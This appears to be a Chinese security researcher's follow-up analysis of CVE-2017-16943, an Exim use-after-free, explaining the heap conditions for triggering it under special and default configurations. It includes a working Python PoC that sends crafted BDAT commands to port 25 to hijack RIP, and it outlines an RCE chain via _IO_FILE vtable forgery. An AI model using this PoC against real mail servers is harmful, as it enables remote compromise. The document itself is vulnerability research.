CVE-2017-16943 Exim UAF漏洞分析–后续
上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究
重新复现漏洞
比上一篇分析中复现的步骤,只需要多一步,注释了/usr/exim/configure
文件中的control = dkim_disable_verify
然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip
分析特殊配置下的触发流程
在代码中有一个变量是dkim_disable_verify
, 在设置后会变成true
,所以注释掉的情况下,就为默认值false
, 然后再看看receive.c
中的代码:
1 |
<ol class="linenums"><li class="L0"><code class="lang-c"><span class="pln">BOOL</span></code></li><li class="L1"><code class="lang-c"><span class="pln">receive_msg</span><span class="pun">(</span><span class="pln">BOOL extract_recip</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1733</span><span class="pun">:</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">smtp_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">smtp_batched_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">dkim_disable_verify</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1734</span><span class="pun">:</span><span class="pln"> dkim_exim_verify_init</span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun"><=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1735</span><span class="pun">:#</span><span class="pln">endif</span></code></li></ol> |
进入了dkim_exim_verify_init
函数,之后的大致流程:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">dkim_exim_verify_init </span><span class="pun">-></span><span class="pln"> pdkim_init_verify </span><span class="pun">-></span><span class="pln"> ctx</span><span class="pun">-></span><span class="pln">linebuf </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">PDKIM_MAX_BODY_LINE_LEN</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">bdat_getc </span><span class="pun">-></span><span class="pln"> smtp_getc </span><span class="pun">-></span><span class="pln"> smtp_refill </span><span class="pun">-></span><span class="pln"> dkim_exim_verify_feed </span><span class="pun">-></span><span class="pln"> pdkim_feed </span><span class="pun">-></span><span class="pln"> string_catn </span><span class="pun">-></span><span class="pln"> string_get </span><span class="pun">-></span><span class="pln"> store_get</span><span class="pun">(</span><span class="lit">0x64</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#define</span><span class="pln"> PDKIM_MAX_BODY_LINE_LEN </span><span class="lit">16384</span><span class="pln"> </span><span class="com">//0x4000</span></code></li></ol> |
在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。
在注释了dkim的配置后,在dkim_exim_verify_init
函数的流程中,执行了一个store_get
函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init
函数和dkim_exim_verify_feed
函数中,都有如下的代码:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> POOL_PERM</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> dkim_verify_oldpool</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">---------------</span></code></li><li class="L4"><code><span class="kwd">enum</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> POOL_MAIN</span><span class="pun">,</span><span class="pln"> POOL_PERM</span><span class="pun">,</span><span class="pln"> POOL_SEARCH </span><span class="pun">};</span></code></li></ol> |
store_pool
全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当store_pool
不同时,相当于对堆进行了隔离,不会影响receive_msg
函数中使用堆管理时的current_block
这类的堆管理全局变量
当dkim相关的代码执行结束后,还把store_pool
恢复回去了
因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后yield_length
全局变量的值变为了0,导致了之后store_get(0x64)
再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)
默认配置情况下复现漏洞
在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。
在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。
其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析
1 |
<ol class="linenums"><li class="L0"><code><span class="com">// daemon.c</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="lit">137</span><span class="pln"> </span><span class="kwd">static</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">138</span><span class="pln"> handle_smtp_call</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> </span><span class="pun">*</span><span class="pln">listen_sockets</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> listen_socket_count</span><span class="pun">,</span></code></li><li class="L4"><code><span class="lit">139</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> accept_socket</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> sockaddr </span><span class="pun">*</span><span class="pln">accepted</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">140</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pun">......</span></code></li><li class="L7"><code><span class="lit">348</span><span class="pln"> pid </span><span class="pun">=</span><span class="pln"> fork</span><span class="pun">();</span></code></li><li class="L8"><code><span class="lit">352</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">pid </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="lit">353</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pun">......</span></code></li><li class="L1"><code><span class="lit">504</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">rc </span><span class="pun">=</span><span class="pln"> smtp_setup_msg</span><span class="pun">())</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">505</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="lit">506</span><span class="pln"> BOOL ok </span><span class="pun">=</span><span class="pln"> receive_msg</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pun">......</span></code></li></ol> |
首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,smtp_setup_msg
函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length
的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg
这时候我们发送一个命令BDAT 16356
然后有几个比较重要的操作:
1 |
<ol class="linenums"><li class="L0"><code><span class="lit">5085</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="lit">5093</span><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="lit">5100</span><span class="pln"> lwr_receive_getc </span><span class="pun">=</span><span class="pln"> receive_getc</span><span class="pun">;</span></code></li><li class="L3"><code><span class="lit">5101</span><span class="pln"> lwr_receive_getbuf </span><span class="pun">=</span><span class="pln"> receive_getbuf</span><span class="pun">;</span></code></li><li class="L4"><code><span class="lit">5102</span><span class="pln"> lwr_receive_ungetc </span><span class="pun">=</span><span class="pln"> receive_ungetc</span><span class="pun">;</span></code></li><li class="L5"><code><span class="lit">5104</span><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="lit">5105</span><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li></ol> |
首先是把输入的16356赋值给chunking_data_left
然后把receive_getc
换成bdat_getc
函数
再做完这些的操作后,进入了receive_msg
函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1
然后进入receive_getc=bdat_getc
读取数据:
1 |
<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">534</span><span class="pln"> </span><span class="typ">int</span></code></li><li class="L1"><code class="lang-c"><span class="lit">535</span><span class="pln"> bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="lit">536</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">546</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">547</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li></ol> |
lwr_receive_getc=smtp_getc
通过该函数获取16356个字符串
首先,我们发送16352个a作为padding,然后执行了下面这流程:
- store_extend return 0 -> store_get -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送:\r\n
,进入下面的代码分支:
1 |
<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">1902</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-c"><span class="lit">1903</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-c"><span class="lit">1904</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">1905</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1906</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1907</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">first_line_ended_crlf </span><span class="pun">==</span><span class="pln"> TRUE_UNSET</span><span class="pun">)</span><span class="pln"> first_line_ended_crlf </span><span class="pun">=</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1908</span><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> EOL</span><span class="pun">;</span></code></li><li class="L7"><code class="lang-c"><span class="lit">1909</span><span class="pln"> </span><span class="pun">}</span></code></li></ol> |
跳到了EOL,最重要的是最后几行代码:
1 |
<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">2215</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-c"><span class="lit">2216</span><span class="pln"> next </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="kwd">sizeof</span><span class="pun">(</span><span class="pln">header_line</span><span class="pun">));</span></code></li><li class="L2"><code class="lang-c"><span class="lit">2217</span><span class="pln"> next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">2218</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-c"><span class="lit">2219</span><span class="pln"> had_zero </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-c"><span class="lit">2220</span><span class="pln"> prevlines_length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">2221</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="com">/* Continue, starting to read the next header */</span></code></li></ol> |
把一些变量重新进行了初始化,因为之前因为padding执行了store_get(0x4000)
,所以这个时候yield_length=0
这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text
使用,大小0x4010,未释放的堆。
之后流程的原理其实跟之前的差不多,PoC如下:
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">r </span><span class="pun">=</span><span class="pln"> remote</span><span class="pun">(</span><span class="str">'localhost'</span><span class="pun">,</span><span class="pln"> </span><span class="lit">25</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO test"</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">"250 HELP"</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"MAIL FROM:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"RCPT TO:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L9"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">*</span><span class="lit">0x1300</span><span class="pun">+</span><span class="str">'\x7f'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'BDAT 16356'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"a"</span><span class="pun">*</span><span class="lit">16352</span><span class="pun">+</span><span class="str">':\r'</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'aBDAT \x7f'</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xabcdef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="com">#raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="str">'\n'</span><span class="pun">)</span></code></li></ol> |
exp
根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到expand_string
函数来执行命令,正好我最近也在研究ctf中的_IO_FILE
的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下: